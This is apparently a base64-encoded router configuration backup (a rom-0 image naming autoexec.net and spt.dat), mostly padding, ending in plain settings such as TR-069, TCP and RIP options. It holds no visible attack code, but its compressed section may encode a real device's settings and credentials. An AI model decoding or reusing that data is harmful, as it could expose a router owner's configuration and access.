AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACcQADH/xib290AAAAAAAAAAAAAAAgAAwBSHNwdC5kYXQAAAAAAAAAGrAP6AFoYXV0b2V4ZWMubmV0AAAB9AFaHBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADO7dvbAAMACQAABmwIAADJZztbbbAADAAJAAAAxswhiLAhhNJyNhpOxlxTgf//E6GMADEbDDef/+OBwA7zyOB1MUIw6Bgf8tB//94E9vn/dAWS+MD/////+wBfsIj/+IY3/5P/r//xgf///////////////////////9A8iPyosmBhiORkLhoMxcMhoNBcMRxnfLA+QExfkAArjOC+I4oYjlDiOIuIA5jPDAw1zHYz4wP/////////////////60kkGAB4RmQFkCM7/////////////////3gACAAASIxX//////////////////////////////////////////////////////////////////////////////////////////+GAAgAALsAYH///////////////////kBxtgIAAMYUAKAjf/////////////////4gaMCASMVAAwRiv///9A/hAQBiZhQZGAnG8yGUY+/cq4H/jRf9STHA/QLAACyv1gf////YEgAC+vwGAAEABAONAeHoU37gf/////xEEIL/jQf84H///////////////////+mHHGpUqACkTsIP/A+eO+MD+7mwPpN4/88ds/OZb4gAQ5ZwlgbEeGB+5phNO8sACAAAdM/94H//1hmEIzywP//1Dk98gdD//6wP////////////7Yq/60X/mB/AVLUAjmPzA////+dkz8/P////ngf////////////////////////8TIACFZM2qSWTP/////xwP////////+Fkz////////////2wACAAATY8////6WTP///////////////////////////////////////+AVkz//////////////////////////////////////////////6wACAAAUwBgf////////////////////////AyAAhSJ4AgAB2TP/////////////////////////////////////////////////////////////////7wACAAAUb//////+FkzxAlkz///////////////////////////////////////////////////////////////////////0C2TP/////////////1wAAgAAHgAYH7f+Bcv6Y31wP//////////////+gHir/9aL/vA/gKAACCOY/MD////5gmcw4HhgABAAQDjAHh7Idgf////////////////////////////9TIACFKVpUoBrJn////////////////////////////////+2AAIAABarE//rZM////////////////////////////////////8QPZM//////////////////////////////+gRYVMGIjCgEIFh7/9cD///////////////////3gACAAAmo2///////////////////////////6CZL4AQMTMKYSwPjcVMD/zov+gH1zifQCwQEct9YH///8/YYH3h1EJLxGAAEAB0CDw9o/fA/////////////////////////////hkABClG0rIf4AKROxQ/8D5474wP7Lr8cD0w75wP147LeYFxnngf////////2HJ7xXnA///////6YAIAABohRf///////uCoWoBAAqMKAJQQvv///////3wP/////////////////////6A+PaAoFvDCh3MEfb/////////////////////9MD/////////lVqMD//+8T//////////////////cAAIAABLju///kdz/////////////////////////////////////////////fA///////////////////////////////////////////WACAAATZ4f///////////////////////YEkJf//3E////////////////////////////////////////////////////////////////88AACAAATq93//9gf////////////////////////////////////////////////////////////////9wJW////uJ///////////////////+GAAgAAEuP9/1Hc/////////////////////////////////////////////3wP///////////////////////////////////////////+YAIAABNnx//////////////////////yBI+X//9xP/////////////////////////////////////////////////////////////////1wAAIAABOsHf//2B////////////////////////////////////////////////////////////////UCVn///7if////////////////////5YACAAASY7n/////////////////////////////////////////////GB/////////////////////////////////////////////+wAIAABOoB////////////////////+4Ejpf//3E//////////////////////////////////////////////////////////////////88D94ACAAATMn/////////////////////////////////////////////////////////////////0BK4X//9xP//////////////////////TAAIAABLkff/SIP/////////////////////////////////////////+wP//////////////////////////////////////////////+OACAAATqEf//////////////////+oEjZf//3E//////////////////////////////////////////////////////////////////88D//uAAgAAEzZ////////////////////////////////////////////////////////////////wBK0X//9xP///////////////////////2wACAAAS5L2SIP/////////////////////////////////////////+wP////////////////////////////////////////////////ngAgAAE+iH/////////////////+YEjJf//3E//////////////////////////////////////////////////////////////////88D///+GAACAAAVOn///////////////////////////////8DJZIDACMMKA4gS0v///////////////////////////////sD///////////////////////////tgAgAAEiTN///////////////////////////////////////////////////////////////////////////////////////////hgAIAACuAGB////////////oHREgGAAYYUARAiN////////////1gf////////////+gFJFQMJJJ6TMXMBUAIAgABhgIRRf/////xAcIKf+B88gY3zxzgSFYmSFhmB8AG9EAAAC+piQAzq8AIGDIaDGcDgY83GTQeGB//UBxBjA/B9yLy0AgQAxM2EZaH4hQfGB+NB/zgf//////////////////////////////////9sAACAAAdJjX///////////////////////5WJP/MD////+2JPL8///7gkVgkVAbof/+JBNJyNhpOxl3v//jgf/////////////////////////////////8f+B85h3/////////////ICAQABABBkTQBBkAFQv//+wACAAATovn////////4CYZP////////5gf//6IZ//////////////////////////////////////////////////////////////////////mAAgAAJyzf/rZIgECgAAQAINMiTEOB/6C2iACCNM4RAWCACKH/jnfmB/////7/yMAE/8IABQQkTAxTKpBhH/7AXPAQhiukhxhYoYUhowBLWYzA6/8CmTIeeBtxvkzceYBAm49MDbj4wP/////////////////////////////////////////////////////////////////////////7YAIAAC4tAf///qGLotc6sJYHA9koCYtwkAEzdArtXhgf//////////9U7D+AVEmwoRB////E9Fy9U/jgQRfMQHo///8wP/9KHYgEARIwoCRAQTScjYaTsZeD/mBoYcADICRWCRVpf88D//////////8AGHl/////+IBK5jhCf/////kATJCE8CkVBkNRsMS+Msh4YH5kkf///////////////////////vgfOSRwzyfngfaSR/////////tgAgAAH+G/7YH//ypIf///////////YHzkkcNMn54H2kkf///////////////////////+aikbABBAIwphEAoARzaPGbh4Yj//////////gfM99sD////5gOK8GQymYwnU2HT3/5v8Awmv////88D//////////////////////////eACAAAZZJv/////////////////////////////////916AHnY2GE3DEazCv9a9H/////9KOFOAEChTCmEQCQxDC0/1wP//////////////////////////////////////////////+mACAAAiKE3////////+akqPIAFENRwlgZmBJTjEwIFDrlfp9DoHICCUC4QaGh5eym2SAX5hXCABCZXzntgf/////////////////////yU8gFAYkwphLA////////////////////////////////////KiZchomYUwlgf///////////////////1wAAIAABIjgf//////////////////////////////////////////////////////////////////////////////////////////4YACAAAUwBgf/////////////////////////////////////////////////////////////////////////////////////////4AN+v1KAvOhyGA2HOACAAAi8p64H///////8IX4ZTcZDGaDScIW3//kVCGMxiNhlvf//LApEKZMFpHMJ0Mp3MJ54v//gVIYHgICgcjeZDqYzpxv//DA////////6IIXf//4MBgMRuQRrx+AWI7A///////////////////////////////////////////////////////////2AAA3gAbqX//////wGxorYRYAQAQISDhLA///D/33jgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc3lzIGZlYXR1cmUgdHIwNjkgMQpzeXMgZXJyY3RsIDANCnN5cyB0cmNsIGxldmVsIDUNCnN5cyB0cmNsIHR5cGUgMTE4MA0Kc3lzIHRyY3AgY3IgNjQgOTYNCnN5cyB0cmNsIHN3IG9mZgpzeXMgdHJjcCBzdyBvZmYKaXAgdGNwIG1zcyA1MTINCmlwIHRjcCBsaW1pdCAyDQppcCB0Y3AgaXJ0dCA2NTAwMA0KaXAgdGNwIHdpbmRvdyAyDQppcCB0Y3AgY2VpbGluZyA2MDAwDQppcCByaXAgYWN0aXZhdGUNCmlwIHJpcCBtZXJnZSBvbg0KaXAgaWNtcCBkaXNjb3ZlcnkgZW5pZjAgb2ZmCnBwcCBpcG